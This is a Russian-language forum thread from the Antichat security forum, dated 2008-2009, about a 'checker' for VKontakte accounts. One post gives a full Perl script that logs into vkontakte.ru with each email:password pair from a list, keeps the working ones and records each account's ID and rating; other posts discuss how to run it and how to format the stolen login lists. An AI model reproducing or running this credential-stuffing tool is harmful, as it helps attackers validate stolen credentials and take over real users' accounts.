ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
25.06.2008, 16:18
|
|
Moderator - Level 7
Регистрация: 29.02.2008
Сообщений: 935
Провел на форуме:
7007866
Репутация:
1914
|
|
он тормознутый какой то не юзаю его...
А чем ты пользуешься?
|
|
|
25.06.2008, 22:58
|
|
Познающий
Регистрация: 27.03.2008
Сообщений: 89
Провел на форуме:
484321
Репутация:
81
|
|
родным dx'овским
|
|
|
|
26.06.2008, 09:16
|
|
Moderator - Level 7
Регистрация: 29.02.2008
Сообщений: 935
Провел на форуме:
7007866
Репутация:
1914
|
|
Да, но он же через прокси не работает?!
|
|
|
|
26.06.2008, 14:44
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
Провел на форуме:
2352294
Репутация:
416
|
|
PHP код:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;
чекер рейтинга |
|
|
|
26.06.2008, 14:51
|
|
Постоянный
Регистрация: 25.05.2008
Сообщений: 367
Провел на форуме:
2352294
Репутация:
416
|
|
только как его запустить? файлы logs и IDS_rate создал, скрипт сохранил как 1.pl, запускаю и он сразу закрывается
|
|
|
|
07.11.2008, 00:54
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
там кажись в файл logs.txt надо акки писать mail  ass ... |
|
|
|
27.02.2009, 20:46
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Чёт я не фкурил.Заменил в сорсах в explode(";") на explode(":");,и акки стали записываться в valid.txt,а не в goods.txt
|
|
|
|
27.02.2009, 22:48
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Проблему решил,перекодировав все файлы вида логин:пароль в логин;пароль.Извиняюсь за тупость:Д
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
